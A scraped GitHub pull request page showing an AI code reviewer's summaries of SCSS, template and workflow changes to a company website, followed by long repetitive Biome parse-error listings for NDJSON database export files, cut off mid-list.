Learning: For the Case Study cards in website/modules/case-studies-page/views/index.html, the "type" and "industry" fields are temporarily hard-coded with values "Mobile Development" and "Manufacturing" as placeholders. These will be replaced with dynamic data ({{ article.type }} and {{ article.industry }}) in a future task.

Applied to files:

  • website/modules/case-studies-page/views/show.html

Comment thread website/modules/case-studies-page/views/show.html
Comment thread website/modules/case-studies-page/views/show.html

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

📜 Review details

Configuration used: CodeRabbit UI

Review profile: ASSERTIVE

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between e3f5706 and 4df652d.

📒 Files selected for processing (3)
  • website/modules/asset/ui/src/scss/_cases.scss (1 hunks)
  • website/modules/business-partner/index.js (1 hunks)
  • website/modules/case-studies-page/views/show.html (1 hunks)
🧰 Additional context used
🧠 Learnings (6)
📓 Common learnings
Learnt from: IhorMasechko
Repo: speedandfunction/website PR: 226
File: website/modules/asset/ui/src/scss/_cases.scss:1399-1414
Timestamp: 2025-12-05T10:45:00.474Z
Learning: In website/modules/asset/ui/src/scss/_cases.scss, the .cs_partnership element intentionally uses min-width: 430px as per specific task requirements, even though this may cause horizontal overflow on small mobile devices (320px-375px viewports). This is an intentional design decision.
Learnt from: yuramax
Repo: speedandfunction/website PR: 84
File: website/modules/case-studies-page/views/index.html:87-90
Timestamp: 2025-05-14T09:44:56.398Z
Learning: For the Case Study cards in website/modules/case-studies-page/views/index.html, the "type" and "industry" fields are temporarily hard-coded with values "Mobile Development" and "Manufacturing" as placeholders. These will be replaced with dynamic data ({{ article.type }} and {{ article.industry }}) in a future task.
📚 Learning: 2025-12-05T10:45:00.474Z
Learnt from: IhorMasechko
Repo: speedandfunction/website PR: 226
File: website/modules/asset/ui/src/scss/_cases.scss:1399-1414
Timestamp: 2025-12-05T10:45:00.474Z
Learning: In website/modules/asset/ui/src/scss/_cases.scss, the .cs_partnership element intentionally uses min-width: 430px as per specific task requirements, even though this may cause horizontal overflow on small mobile devices (320px-375px viewports). This is an intentional design decision.

Applied to files:

  • website/modules/case-studies-page/views/show.html
  • website/modules/asset/ui/src/scss/_cases.scss
📚 Learning: 2025-08-29T09:36:15.180Z
Learnt from: Anton-88
Repo: speedandfunction/website PR: 223
File: website/modules/asset/ui/src/scss/_cases.scss:1289-1296
Timestamp: 2025-08-29T09:36:15.180Z
Learning: In website/modules/asset/ui/src/scss/_cases.scss, the user Anton-88 prefers to keep position: sticky for the .filter-modal__content despite potential technical concerns, citing the complicated modal structure as the reason.

Applied to files:

  • website/modules/asset/ui/src/scss/_cases.scss
📚 Learning: 2025-05-29T07:16:52.843Z
Learnt from: IhorMasechko
Repo: speedandfunction/website PR: 132
File: website/modules/asset/ui/src/scss/_not-found.scss:52-64
Timestamp: 2025-05-29T07:16:52.843Z
Learning: In website/modules/asset/ui/src/scss/_not-found.scss, the .two-buttons container with flex-direction: row and child .sf-button elements having width: 100% does not cause overflow issues and renders correctly, despite theoretical expectations.

Applied to files:

  • website/modules/asset/ui/src/scss/_cases.scss
📚 Learning: 2025-07-02T08:15:36.173Z
Learnt from: yuramax
Repo: speedandfunction/website PR: 191
File: website/modules/asset/ui/src/scss/_leadership-team.scss:213-216
Timestamp: 2025-07-02T08:15:36.173Z
Learning: In website/modules/asset/ui/src/scss/_leadership-team.scss, the `.leader-bio` element intentionally uses `overflow-y: hidden` at the `breakpoint-extra-large` level to completely remove scrollbars on desktop devices, while maintaining `overflow-y: auto` at the `breakpoint-large` level for tablets. This design decision relies on content managers controlling bio text length to prevent overflow on desktop, ensuring a clean scrollbar-free experience on larger screens.

Applied to files:

  • website/modules/asset/ui/src/scss/_cases.scss
📚 Learning: 2025-05-26T15:57:01.766Z
Learnt from: yuramax
Repo: speedandfunction/website PR: 121
File: website/modules/asset/ui/src/scss/_vacancies.scss:99-102
Timestamp: 2025-05-26T15:57:01.766Z
Learning: In website/modules/asset/ui/src/scss/_vacancies.scss, the margin shorthand (e.g., `margin: 0 0 8px`) in `.sf-vacancies_footer h2` is intentionally used to reset all margins and set specific bottom margins, rather than using `margin-bottom` alone. This approach ensures clean baseline styling that doesn't inherit unwanted margins, while still allowing the sibling selector `.vacancy-card + .sf-vacancies_footer h2` to add top margins when a vacancy card precedes the footer.

Applied to files:

  • website/modules/asset/ui/src/scss/_cases.scss
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
  • GitHub Check: security-scan
  • GitHub Check: e2e-tests

Comment thread website/modules/asset/ui/src/scss/_cases.scss

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 3

♻️ Duplicate comments (3)
export/aposNotifications.json (1)

1-5: Same file structure issue as export/sessions.json.

This file has identical NDJSON format parsing errors. See review comment for export/sessions.json for resolution options.

export/aposAttachments.json (1)

1-118: Same file structure issue as export/sessions.json.

This NDJSON file has the same parsing conflict with Biome. Resolve the linting configuration as described in the export/sessions.json review comment.

export/aposJobs.json (1)

1-145: Same file structure issue as export/sessions.json.

This NDJSON file has the same parsing conflict with Biome (145 reported errors). Resolve the linting configuration as described in the export/sessions.json review comment.

📜 Review details

Configuration used: CodeRabbit UI

Review profile: ASSERTIVE

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 4df652d and 3ccfe74.

📒 Files selected for processing (7)
  • .github/workflows/code-quality.yml (1 hunks)
  • export/aposAttachments.json (1 hunks)
  • export/aposFormSubmissions.json (1 hunks)
  • export/aposJobs.json (1 hunks)
  • export/aposMigrations.json (1 hunks)
  • export/aposNotifications.json (1 hunks)
  • export/sessions.json (1 hunks)
🧰 Additional context used
🧠 Learnings (2)
📓 Common learnings
Learnt from: yuramax
Repo: speedandfunction/website PR: 84
File: website/modules/case-studies-page/views/index.html:87-90
Timestamp: 2025-05-14T09:44:56.398Z
Learning: For the Case Study cards in website/modules/case-studies-page/views/index.html, the "type" and "industry" fields are temporarily hard-coded with values "Mobile Development" and "Manufacturing" as placeholders. These will be replaced with dynamic data ({{ article.type }} and {{ article.industry }}) in a future task.
Learnt from: IhorMasechko
Repo: speedandfunction/website PR: 226
File: website/modules/asset/ui/src/scss/_cases.scss:1399-1414
Timestamp: 2025-12-05T10:45:00.494Z
Learning: In website/modules/asset/ui/src/scss/_cases.scss, the .cs_partnership element intentionally uses min-width: 430px as per specific task requirements, even though this may cause horizontal overflow on small mobile devices (320px-375px viewports). This is an intentional design decision.
📚 Learning: 2025-06-09T16:52:54.510Z
Learnt from: IhorMasechko
Repo: speedandfunction/website PR: 154
File: website/modules/case-studies-page/services/UrlService.js:102-116
Timestamp: 2025-06-09T16:52:54.510Z
Learning: When reviewing ApostropheCMS code, eslint-disable comments for `no-underscore-dangle` are often necessary and appropriate when accessing framework-provided properties like `_url`, as they conflict with general JavaScript linting rules but follow ApostropheCMS conventions.

Applied to files:

  • export/aposMigrations.json
🪛 Biome (2.1.2)
export/aposAttachments.json

[error] 1-2: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 2-3: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 3-4: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 4-5: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 5-6: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 6-7: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 7-8: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 8-9: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 9-10: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 10-11: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 11-12: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 12-13: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 13-14: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 14-15: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 15-16: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 16-17: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 17-18: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 18-19: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 19-20: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 20-21: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 21-22: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 22-23: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 23-24: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 24-25: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 25-26: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 26-27: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 27-28: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 28-29: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 29-30: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 30-31: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 31-32: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 32-33: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 33-34: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 34-35: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 35-36: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 36-37: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 37-38: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 38-40: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 40-41: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 41-42: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 42-43: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 43-44: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 44-45: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 45-46: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 46-47: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 47-48: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 48-49: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 49-50: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 50-51: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 51-52: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 52-53: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 53-54: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 54-55: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 55-56: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 56-57: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 57-58: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 58-59: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 59-60: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 60-61: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 61-62: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 62-63: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 63-64: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 64-65: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 65-66: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 66-67: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 67-68: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 68-69: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 69-70: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 70-71: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 71-72: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 72-73: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 73-74: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 74-75: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 75-76: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 76-77: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 77-78: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 78-79: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 79-80: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 80-81: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 81-82: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 82-83: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 83-84: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 84-85: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 85-86: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 86-87: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 87-88: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 88-89: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 89-90: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 90-91: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 91-92: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 92-93: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 93-94: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 94-95: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 95-96: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 96-97: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 97-98: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 98-99: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 99-100: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 100-101: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 101-102: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 102-103: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 103-104: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 104-105: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 105-106: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 106-107: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 107-108: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 108-109: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 109-110: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 110-111: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 111-112: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 112-113: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 113-114: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 114-115: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 115-116: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 116-117: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 117-118: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)

export/aposNotifications.json

[error] 1-2: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 2-3: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 3-4: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 4-5: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)

export/sessions.json

[error] 1-2: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 2-3: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 3-4: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 4-5: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)

export/aposJobs.json

[error] 1-2: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 2-3: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 3-4: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 4-5: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 5-6: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 6-7: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 7-8: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 8-9: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 9-10: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 10-11: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 11-12: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 12-13: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 13-14: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 14-15: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 15-16: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 16-17: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 17-18: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 18-19: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 19-20: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 20-21: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 21-22: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 22-23: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 23-24: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 24-25: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 25-26: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 26-27: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 27-28: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 28-29: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 29-30: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 30-31: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 31-32: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 32-33: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 33-34: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 34-35: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 35-36: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 36-37: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 37-38: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 38-39: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 39-40: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 40-41: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 41-42: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 42-43: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 43-44: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 44-45: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 45-46: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 46-47: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 47-48: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 48-49: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 49-50: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 50-51: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 51-52: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 52-53: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 53-54: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 54-55: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 55-56: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 56-57: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 57-58: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 58-59: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 59-60: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 60-61: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 61-62: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 62-63: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 63-64: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 64-65: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 65-66: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 66-67: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 67-68: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 68-69: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 69-70: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 70-71: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 71-72: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 72-73: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 73-74: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 74-75: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 75-76: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 76-77: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 77-78: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 78-79: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 79-80: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 80-81: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 81-82: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 82-83: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 83-84: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 84-85: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 85-86: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 86-87: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 87-88: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 88-89: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 89-90: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 90-91: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 91-92: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 92-93: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 93-94: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 94-95: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 95-96: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 96-97: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 97-98: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 98-99: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 99-100: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 100-101: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 101-102: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 102-103: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 103-104: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 104-105: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 105-106: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 106-107: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 107-108: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 108-109: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 109-110: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 110-111: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 111-112: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 112-113: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 113-114: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 114-115: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 115-116: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 116-117: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 117-118: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 118-119: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 119-120: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 120-121: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 121-122: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 122-123: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 123-124: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 124-125: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 125-126: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 126-127: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 127-128: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 128-129: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 129-130: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 130-131: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 131-132: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 132-133: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 133-134: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 134-135: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 135-136: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 136-137: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 137-138: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 138-139: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 139-140: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 140-141: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 141-142: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 142-143: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 143-144: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 144-145: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)

export/aposFormSubmissions.json

[error] 1-2: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 2-3: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 3-4: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 4-5: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 5-6: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 6-7: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 7-8: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 8-9: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 9-10: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 10-11: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 11-12: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)

export/aposMigrations.json

[error] 1-2: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 2-3: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 3-4: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 4-5: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 5-6: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 6-7: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 7-8: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 8-9: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 9-10: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 10-11: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 11-12: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 12-13: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 13-14: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 14-15: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 15-16: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 16-17: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 17-18: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 18-19: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 19-20: End of file expected

Use an array for a sequence of values: [1, 2]

(parse)


[error] 20-21: End of file expected

